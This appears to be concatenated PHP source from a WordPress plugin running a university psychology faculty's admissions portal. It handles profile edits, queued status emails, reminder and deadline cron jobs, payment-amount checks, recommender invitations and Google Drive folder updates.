Nonce verification if (!isset($_POST['field_edit_profile']) || !wp_verify_nonce($_POST['field_edit_profile'], 'action_edit_profile')) { // Nonce verification failed // Handle error as needed, e.g., display an error message return; } // Handle form submission if ( $_SERVER['REQUEST_METHOD'] === 'POST' ) { // Edit profile if (isset($_POST['first_name'])) { $user_id = get_current_user_id(); // Get the current user's ID // New values for first name and last name $new_prefix = sanitize_text_field($_POST['prefix']); $new_first_name = sanitize_text_field($_POST['first_name']); $new_last_name = sanitize_text_field($_POST['last_name']); // Update user data $updated_user_data = array( 'ID' => $user_id, 'first_name' => $new_first_name, 'last_name' => $new_last_name, 'display_name' => $new_first_name . ' ' . $new_last_name ); // Update user information wp_update_user($updated_user_data); // Update ACF prefix update_field('prefix', $new_prefix, 'user_' . $user_id); // redirect to login page wp_redirect(home_url('/apply-portal/my-profile?success=edit_profile')); exit; } } } } 'latest', 'region' => 'sgp1', 'endpoint' => 'https://sgp1.digitaloceanspaces.com', 'credentials' => [ 'key' => '', 'secret' => '', ], ]); $result = $s3->putObject([ 'Bucket' => 'psy-chula', 'Key' => $path, // 'SourceFile' => $file, 'Body' => fopen($filePath, 'r'), 'ACL' => 'public-read', ]); return $result; } }getTimestamp(); // Check if the event is not already scheduled if (!wp_next_scheduled('process_mail_queue')) { wp_schedule_event($timestamp, 'minute', 'process_mail_queue'); } /** * Create table to store all email queue */ global $wpdb; $table_name = $wpdb->prefix . 'batch_queue_email'; // Check if the table exists if ($wpdb->get_var("SHOW TABLES LIKE '$table_name'") != $table_name) { // Table doesn't exist, so create it $charset_collate = $wpdb->get_charset_collate(); $sql = "CREATE TABLE $table_name ( id mediumint(9) NOT NULL AUTO_INCREMENT, to_email varchar(255) NOT NULL, subject varchar(255) NOT NULL, message text NOT NULL, PRIMARY KEY (id) ) $charset_collate;"; require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta($sql); } }); // function to process mail queue function process_mail_queue() { global $wpdb; $table_name = $wpdb->prefix . 'batch_queue_email'; $batch_size = 20; $mail_queue = $wpdb->get_results("SELECT * FROM $table_name LIMIT $batch_size"); $headers = array('Content-Type: text/html; charset=UTF-8'); if ($mail_queue) { foreach ($mail_queue as $mail_item) { // $encoded_subject = mb_encode_mimeheader($mail_item->subject, 'UTF-8', 'B'); // remove new line from message $mail_item->message = str_replace(array("\r", "\n"), '', $mail_item->message); wp_mail($mail_item->to_email, $mail_item->subject, $mail_item->message, $headers); // Delete processed mail item from the queue $wpdb->delete($table_name, array('id' => $mail_item->id)); } } } add_action('process_mail_queue', 'process_mail_queue'); // function to add email to database function queue_email($to, $subject, $message) { global $wpdb; $table_name = $wpdb->prefix . 'batch_queue_email'; // Set fallback values for subject and message if (empty($subject)) { $subject = 'ไม่มี subject'; } if (empty($message)) { $message = 'ไม่มี body'; } $wpdb->insert( $table_name, array( 'to_email' => $to, 'subject' => $subject, 'message' => $message, ) ); } add_action('queue_email', 'queue_email');Apply portal'; // Define replacements $replacements = [$applicant_full_name, $interview_rejected_reason, $acceptance_rejected_reason, $interview_condition, $enrollment_deposit_pending_link, $application_id]; // Replace placeholders with actual values return str_replace($placeholders, $replacements, $email_string); } static function check_default_value_logic($value, $post_id, $field) { // if in wp-admin, do nothing if (is_admin()) { return $value; } // for default value if ($value === 'application_in_progress') { Psy_Application_Google_Drive::update_application_folder_description($post_id, $value); } return $value; } static function on_application_status_change($value, $post_id, $field) { // Compare the old value with the new value $old_value = get_field( $field['name'], $post_id ); // Status hasn't changed, do nothing if ($old_value === $value) { return $value; } if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) return; $status = $value; // Get program from application $program_id = get_field('apply_program', $post_id); $apply_portal_program = new Psy_Program($program_id); // Value $setting_fields = $apply_portal_program->get_status_setting_fields(); $author_id = get_post_field('post_author', $post_id); $user_email = get_the_author_meta('user_email', $author_id); $apply_application = new Psy_Application($post_id); $application_entry = $apply_application->entry; $applicant_full_name = $application_entry['en_first_name'] ? $application_entry['en_first_name'] . ' ' . $application_entry['en_last_name'] : $application_entry['th_first_name'] . ' ' . $application_entry['th_last_name']; // Status cases switch ($status) { /** * Case A */ case 'submitted_and_in_review': $status_setting_fields = $setting_fields['application_in_review']; $email_obj = $status_setting_fields['email_application_in_review']; self::prepare_queue_email($post_id, $user_email, $applicant_full_name, $email_obj); break; /** * Case B */ case 'qualified_for_interview': $status_setting_fields = $setting_fields['interview']; $email_obj = $status_setting_fields['email_qualified_for_interview']; self::prepare_queue_email($post_id, $user_email, $applicant_full_name, $email_obj); break; case 'conditionally_qualified_for_interview': $status_setting_fields = $setting_fields['interview']; $email_obj = $status_setting_fields['email_conditionally_qualified_for_interview']; self::prepare_queue_email($post_id, $user_email, $applicant_full_name, $email_obj); break; case 'unqualified_for_interview': $status_setting_fields = $setting_fields['interview']; $email_obj = $status_setting_fields['email_unqualified_for_interview']; self::prepare_queue_email($post_id, $user_email, $applicant_full_name, $email_obj); break; /** * Case C */ case 'interview_attendance_confirmed': $status_setting_fields = $setting_fields['interview_attendance']; $email_obj = $status_setting_fields['email_interview_attendance_confirmed']; self::prepare_queue_email($post_id, $user_email, $applicant_full_name, $email_obj); break; case 'interview_attendance_declined': $status_setting_fields = $setting_fields['interview_attendance']; $email_obj = $status_setting_fields['email_interview_attendance_declined']; self::prepare_queue_email($post_id, $user_email, $applicant_full_name, $email_obj); break; /** * Case D */ case 'tcas_confirmation_pending': $status_setting_fields = $setting_fields['offer']; $email_obj = $status_setting_fields['email_tcas_confirmation_pending']; self::prepare_queue_email($post_id, $user_email, $applicant_full_name, $email_obj); break; case 'enrollment_deposit_pending': $status_setting_fields = $setting_fields['offer']; $email_obj = $status_setting_fields['email_enrollment_deposit_pending']; self::prepare_queue_email($post_id, $user_email, $applicant_full_name, $email_obj); break; case 'admission_rejected': $status_setting_fields = $setting_fields['offer']; $email_obj = $status_setting_fields['email_admission_rejected']; self::prepare_queue_email($post_id, $user_email, $applicant_full_name, $email_obj); break; case 'waitlisted': $status_setting_fields = $setting_fields['offer']; $email_obj = $status_setting_fields['email_waitlisted']; self::prepare_queue_email($post_id, $user_email, $applicant_full_name, $email_obj); break; /** * Case E */ case 'enrollment_confirmed': // $email_subject, $email_body $status_setting_fields = $setting_fields['confirm']; $email_obj = $status_setting_fields['email_enrollment_confirmed']; self::prepare_queue_email($post_id, $user_email, $applicant_full_name, $email_obj); break; case 'enrollment_declined': // $email_subject, $email_body $status_setting_fields = $setting_fields['confirm']; $email_obj = $status_setting_fields['email_enrollment_declined']; self::prepare_queue_email($post_id, $user_email, $applicant_full_name, $email_obj); break; } // Update application folder description // Psy_Application_Google_Drive::update_application_folder_description($post_id, $status); as_schedule_single_action(time(), 'update_google_drive_folder_description', [ 'post_id' => $post_id, 'status' => $status ]); // update wp post wp_update_post([ 'ID' => $post_id, ]); return $value; } // delete_application_entry, find gf entry with post_id and delete it static function delete_application_entry($post_id) { if (get_post_type($post_id) === 'apply_application') { // wpdb global $wpdb; // Find post_id in wp_gf_entry $entry_id = $wpdb->get_var($wpdb->prepare("SELECT id FROM wp_gf_entry WHERE post_id = %d", $post_id)); // Delete entry using GFAPI if ($entry_id) { GFAPI::delete_entry($entry_id); } } } // Send reminder email bofre X date related to each program static function send_reminder_email() {} } (`register_end_date` - `email_reminder_1_before_days`) with currentdate for ['application_in_progress', 'application_pending_payment'] * => (`offer_end_date` - `email_reminder_2_before_days`) with currentdate for ['enrollment_deposit_pending'] * 7. Send email if not sent [reminder_status_email_reminder_1, reminder_status_email_reminder_2] */ static function schedule_reminder_email() { // Schedule reminder emails to run daily at 09:00 if (!wp_next_scheduled('send_reminder_emails')) { $timezone = get_option('timezone_string'); // $datetime = new DateTime('09:00', new DateTimeZone($timezone)); $datetime = new DateTime('09:00', new DateTimeZone($timezone)); $timestamp = $datetime->getTimestamp(); wp_schedule_event($timestamp, 'daily', 'send_reminder_emails', []); } add_action('send_reminder_emails', ['Psy_Application_Action', 'reminder_email']); } static function reminder_email() { $options = get_fields('options'); // Fetch reminders and email details from options $reminder_1_days = $options['email_reminder_1_before_days'] ?? ''; $reminder_1_subject = $options['email_reminder_1_subject'] ?? ''; $reminder_1_body = $options['email_reminder_1_body'] ?? ''; $reminder_2_days = $options['email_reminder_2_before_days'] ?? ''; $reminder_2_subject = $options['email_reminder_2_subject'] ?? ''; $reminder_2_body = $options['email_reminder_2_body'] ?? ''; // Get applications with the desired statuses $args = [ 'post_type' => 'apply_application', 'posts_per_page' => -1, 'meta_query' => [ [ 'key' => 'status', 'value' => ['application_in_progress', 'application_pending_payment', 'enrollment_deposit_pending'], 'compare' => 'IN' ] ] ]; $query = new WP_Query($args); $posts = $query->posts; foreach ($posts as $post) { $program_id = get_field('apply_program', $post->ID); $apply_portal_program = new Psy_Program($program_id); $author_id = get_post_field('post_author', $post->ID); $user_email = get_the_author_meta('user_email', $author_id); $register_end_date = $apply_portal_program->get_general_fields()['register_end_date'] ?? ''; $offer_end_date = $apply_portal_program->get_status_setting_fields()['offer']['detail_enrollment_deposit_pending']['end_date'] ?? ''; $reminder_status_1 = get_field('submission_payment_email_reminded_at', $post->ID) ?? false; //email_reminder_1 $reminder_status_2 = get_field('offer_payment_email_reminded_at', $post->ID) ?? false; //email_reminder_2 // get post status $application_status = get_field('status', $post->ID); // handle status switch ($application_status) { case 'enrollment_deposit_pending': // Reminder 2 logic if (!$offer_end_date) break; $before_end_date_2 = date('Y-m-d H:i:s', strtotime("-$reminder_2_days days", strtotime($offer_end_date))); if ((is_pass_date($before_end_date_2) && !is_pass_date($offer_end_date)) && !$reminder_status_2) { $application_number = get_field('application_number', $post->ID) ?? ''; queue_email($user_email, "$reminder_2_subject [$application_number]", $reminder_2_body); update_field('offer_payment_email_reminded_at', current_time('mysql'), $post->ID); } break; default: // Reminder 1 logic if (!$register_end_date) break; $before_end_date_1 = date('Y-m-d H:i:s', strtotime("-$reminder_1_days days", strtotime($register_end_date))); if ((is_pass_date($before_end_date_1) && !is_pass_date($register_end_date)) && !$reminder_status_1) { $application_number = get_field('application_number', $post->ID) ?? ''; queue_email($user_email, "$reminder_1_subject [$application_number]", $reminder_1_body); update_field('submission_payment_email_reminded_at', current_time('mysql'), $post->ID); } break; } } } /** * Create a scheduled event to update status * 1. Runs every midnight * 2. Query `apply_application` with `status` ['qualified_for_interview', 'enrollment_deposit_pending'] * 3. Loop through post IDs * 4. Get field `apply_program` to get apply_program id * 5. Get field `interview_end_date`, `offer_end_date` from apply_program * 6. Compare date with current date * 7. Update status * when met interview_end_date =>['qualified_for_interview'] => 'interview_attendance_declined', * when met offer_end_date => ['enrollment_deposit_pending'] => 'enrollment_declined', * * **'Conditionally Qualified for Interview' use manual update status** */ static function schedule_cron_job_interview_pass_date() { // Calculate the timestamp for midnight $timezone = get_option('timezone_string'); $datetime = new DateTime('00:00', new DateTimeZone($timezone)); $timestamp = $datetime->getTimestamp(); // Check if the event is not already scheduled if (!wp_next_scheduled('update_application_status')) { // Schedule the event at midnight wp_schedule_event($timestamp, 'daily', 'update_application_status'); } add_action('update_application_status', ['Psy_Application_Action', 'update_application_status']); } static function update_application_status() { $args = [ 'post_type' => 'apply_application', 'posts_per_page' => -1, 'meta_query' => [ [ 'key' => 'status', 'value' => ['qualified_for_interview', 'enrollment_deposit_pending'], 'compare' => 'IN' ] ] ]; $query = new WP_Query($args); $posts = $query->posts; // Loop through all `apply_application` foreach ($posts as $post) { // Get field `apply_program` to get apply_program id $program_id = get_field('apply_program', $post->ID); $apply_portal_program = new Psy_Program($program_id); // Get field `interview_end_date` from apply_program $interview_fields = $apply_portal_program->get_status_setting_fields()['interview']; // Get field `offer_end_date` from apply_program $offer_fields = $apply_portal_program->get_status_setting_fields()['offer']['detail_enrollment_deposit_pending']; // Compare date with current date $is_pass_interview_end_date = is_pass_date($interview_fields['end_date']); $is_pass_offer_end_date = is_pass_date($offer_fields['end_date']); // get post status $application_status = get_field('status', $post->ID); // Compare with current date related to status switch ($application_status) { case 'enrollment_deposit_pending': if ($is_pass_offer_end_date) { update_field('field_6502e6adb31f1', 'enrollment_declined', $post->ID); wp_update_post($post); } break; default: if ($is_pass_interview_end_date) { update_field('field_6502e6adb31f1', 'interview_attendance_declined', $post->ID); wp_update_post($post); } break; } } } } value for condition * name => value for display * color => value for status dot color in admin page */ static $statuses = [ ['slug' => 'all_applications', 'name' => 'All Applications', 'color' => '#282E75'], ['slug' => 'application_in_progress', 'name' => 'Application In Progress', 'color' => '#282E75'], ['slug' => 'application_pending_payment', 'name' => 'Application Pending Payment', 'color' => '#282E75'], ['slug' => 'submitted_and_in_review', 'name' => 'Submitted and In Review', 'color' => '#282E75'], ['slug' => 'qualified_for_interview', 'name' => 'Qualified For Interview', 'color' => '#026B00'], ['slug' => 'unqualified_for_interview', 'name' => 'Unqualified For Interview', 'color' => '#DC2626'], ['slug' => 'conditionally_qualified_for_interview', 'name' => 'Conditionally Qualified for Interview', 'color' => '#eab308'], ['slug' => 'interview_attendance_confirmed', 'name' => 'Interview Attendance Confirmed', 'color' => '#026B00'], ['slug' => 'interview_attendance_declined', 'name' => 'Interview Attendance Declined', 'color' => '#DC2626'], ['slug' => 'waitlisted', 'name' => 'Waitlisted', 'color' => '#eab308'], ['slug' => 'tcas_confirmation_pending', 'name' => 'TCAS Confirmation Pending', 'color' => '#026B00'], ['slug' => 'enrollment_deposit_pending', 'name' => 'Enrollment Deposit Pending', 'color' => '#eab308'], ['slug' => 'admission_rejected', 'name' => 'Admission Rejected', 'color' => '#DC2626'], ['slug' => 'enrollment_confirmed', 'name' => 'Enrollment Confirmed', 'color' => '#026B00'], ['slug' => 'enrollment_declined', 'name' => 'Enrollment Declined', 'color' => '#DC2626'] ]; // Selected Application (from ID query or param) public $id; public $custom_fields; public $status; public $application_number; public $entry; public $program_id; public $field; public $degree; public $major; public $academic_year; public $is_hidden; public function get_status_name($status_slug) { foreach (self::$statuses as $status) { if ($status['slug'] === $status_slug) { return $status['name']; } } return null; } public function __construct($application_id) { // Set default id from application_id $this->id = $application_id; // Application data $this->custom_fields = get_fields($this->id); $this->status = $this->custom_fields['status'] ?? null; $this->application_number = $this->custom_fields['application_number']; $this->entry = $this->get_application_entry(); // Program data $this->program_id = $this->custom_fields['apply_program']; $apply_program = new Psy_Program($this->program_id); $this->field = $apply_program->get_field_category(); $this->degree = $apply_program->get_degree_category(); $this->major = $apply_program->get_major_category(); $this->academic_year = $apply_program->get_academic_year(); // Check if is hidden from hide_date $hide_date = $apply_program->get_general_fields()['hide_date']; $this->is_hidden = is_pass_date($hide_date); // Check if current date is pass $custom_fields['general_register_end_date']and status is 'application_in_progress' , 'application_pending_payment' => change status to 'qualified_for_interview' $general_register_end_date = $apply_program->get_general_fields()['register_end_date'] ?? null; $is_pass_general_register_end_date = is_pass_date($general_register_end_date); if ($is_pass_general_register_end_date && ($this->status === 'application_in_progress' || $this->status === 'application_pending_payment')) { $this->is_hidden = true; } } // Get entry from application ID public function get_application_entry() { global $wpdb; $entry_id = $wpdb->get_var( $wpdb->prepare( "SELECT id FROM {$wpdb->prefix}gf_entry WHERE post_id = %d", $this->id ) ); $gf_entry = GFAPI::get_entry($entry_id); // TODO!:when have a lot of entries, Cannot get all field value [but key still present] // cal map_entry from GFFormMapping $entry_mapping = new GFFormMapping; $entry = $entry_mapping->map_entry($gf_entry); return $entry; } // Delete application public function delete_application() { // wp_delete_post($this->id, false); if (get_post_status($this->id) != 'trash') { wp_trash_post($this->id); } } // Update application status public function update_application_status($status) { // trim $status $status = trim($status); // update field status update_field('field_6502e6adb31f1', $status, $this->id); // update wp post $post = [ 'ID' => $this->id, ]; wp_update_post($post); } // Fee for the payment step the application is at, formatted like the amount sent to KBank ('1500.00'); // null when the status has nothing to pay public function get_payment_amount() { $apply_program = new Psy_Program($this->program_id); $general_fields = $apply_program->get_general_fields(); switch ($this->status) { case 'application_pending_payment': $fee = $general_fields['fee'] ?? null; break; case 'enrollment_deposit_pending': $fee = $general_fields['offer_fee'] ?? null; break; default: return null; } return is_numeric($fee) ? number_format((float) $fee, 2, '.', '') : null; } // Handle payment public function process_payment() { //application_pending_payment => submitted_and_in_review //Enrollment Deposit Pending => Enrollment Confirmed $current_status = $this->status; // Only move on when KBank charged at least this step's fee (checkout used to send the amount posted by the browser) if (in_array($current_status, ['application_pending_payment', 'enrollment_deposit_pending'], true)) { $charge_result = $current_status === 'enrollment_deposit_pending' ? $this->get_field('offer_kbank_charge_result') : $this->get_field('kbank_charge_result'); $charged_amount = json_decode($charge_result ?? '')->amount ?? null; $expected_amount = $this->get_payment_amount(); if (is_numeric($charged_amount) && $expected_amount !== null && round($charged_amount * 100) < round($expected_amount * 100)) { $this->add_payment_note("Charged amount $charged_amount is less than the fee $expected_amount: status not changed"); wp_redirect(home_url('/apply-portal/my-applications?payment_status=charge_failed')); exit; } } switch ($current_status) { case 'application_pending_payment': $application_status = 'submitted_and_in_review'; break; case 'enrollment_deposit_pending': $application_status = 'enrollment_confirmed'; break; default: $application_status = $current_status; break; } // Update Application Status $this->update_application_status($application_status); // redirect to my-applications with modal wp_redirect(home_url('/apply-portal/my-applications?payment_status=success&application_id=' . $this->id)); exit; } // Add payment note public function add_payment_note($message = '') { $application_status = $this->status; // append $message to `kbank_note` field with horizontal line and start with human-readable timestamp // add switch case switch ($application_status) { case 'enrollment_deposit_pending'; // Second payment $kbank_note = $this->custom_fields['offer_kbank_note'] ?? ''; $kbank_note .= "\n\n-------------------------\n" . date('Y-m-d H:i:s') . "\n$message"; update_field('offer_kbank_note', $kbank_note, $this->id); break; default: // First payment $kbank_note = $this->custom_fields['kbank_note'] ?? ''; $kbank_note .= "\n\n-------------------------\n" . date('Y-m-d H:i:s') . "\n$message"; update_field('kbank_note', $kbank_note, $this->id); break; } } // Get field public function get_field($field_name) { return $this->custom_fields[$field_name] ?? null; } // Update field public function update_field($field_name, $value) { update_field($field_name, $value, $this->id); } } id) ? true : false; } public function has_name($recommender_field) { return get_field($recommender_field . '_name', $this->id) ? true : false; } public function send_email($recommender_field) { // $recommender_field = 'recommender_1', 'recommender_2', 'recommender_3'; $custom_fields = $this->custom_fields ?? []; // Use wp_mail to send email to $custom_fields[$recommender_field]['email'] with name $custom_fields[$recommender_field]['name'] $recommender_name = $custom_fields[$recommender_field]['name']; $recommender_email = $custom_fields[$recommender_field]['email']; // Create recommendation letter link $current_domain = $_SERVER['HTTP_HOST']; $recommender_path = '/apply-portal/recommendation-form'; $recommender_key = wp_encrypt_data([ 'application_id' => $this->id, 'recommender_name' => $recommender_name, 'recommender_email' => $recommender_email ]); $letter_url = "http://$current_domain$recommender_path?key=$recommender_key"; update_field($recommender_field . '_letter_url', $letter_url, $this->id); // Send Email $entry = $this->entry; $applicant_name = $entry['en_first_name'] . ' ' . $entry['en_last_name']; $subject = "Online recommendation for $applicant_name"; $program_id = $custom_fields['apply_program']; $apply_portal_program = new Psy_Program($program_id); $degree = psy_translate_string_en($apply_portal_program->degree_category_title) ?? ''; $major = psy_translate_string_en($apply_portal_program->major_category_title) ?? ''; $field = psy_translate_string_en($apply_portal_program->field_category_title) ?? ''; $_degree = str_replace('degree', 'program in', $degree); $message = "Dear $recommender_name,

You have been asked by $applicant_name to complete an online recommendation form for the $_degree $major, $field Area.

To access and complete your recommendation, Please Click here

When you click on the above link, you will have access to the online recommendation form on the Faculty of Psychology's application portal, in which you will be able to rate the applicant's qualifications and compose and submit your recommendation letter online at your convenience.

Should you have difficulties in using the above link, please copy and paste the following URL in its entirety into your browser: $letter_url

Best regards,
The Office of Academic Affairs
Faculty of Psychology, Chulalongkorn University"; // Send the email queue_email($recommender_email, mb_encode_mimeheader($subject, 'UTF-8', 'B'), $message); } /** * Get letter form */ public function get_form() {} /** * Submit Letter */ public function submit($data) {} } getFolderIdByName($drive_folder_name); if ($folder_id && $status) { $gg_drive->setFolderDescription($folder_id, $status); } } catch (Throwable $e) { error_log('Google Drive folder description failed: ' . $e->getMessage()); return false; } return true; } static function get_application_folder_url($program_id, $status = null) { try { $gg_drive = new GoogleDriveUploader(); $program_code = get_field('main_application_prefix_code', $program_id); $gg_program_folder_id = $gg_drive->getFolderIdByName($program_code); } catch (Throwable $e) { error_log('Google Drive folder lookup failed: ' . $e->getMessage()); return ''; } $url = self::$google_drive_url . "{$gg_program_folder_id}%20{$status}"; return $url; } }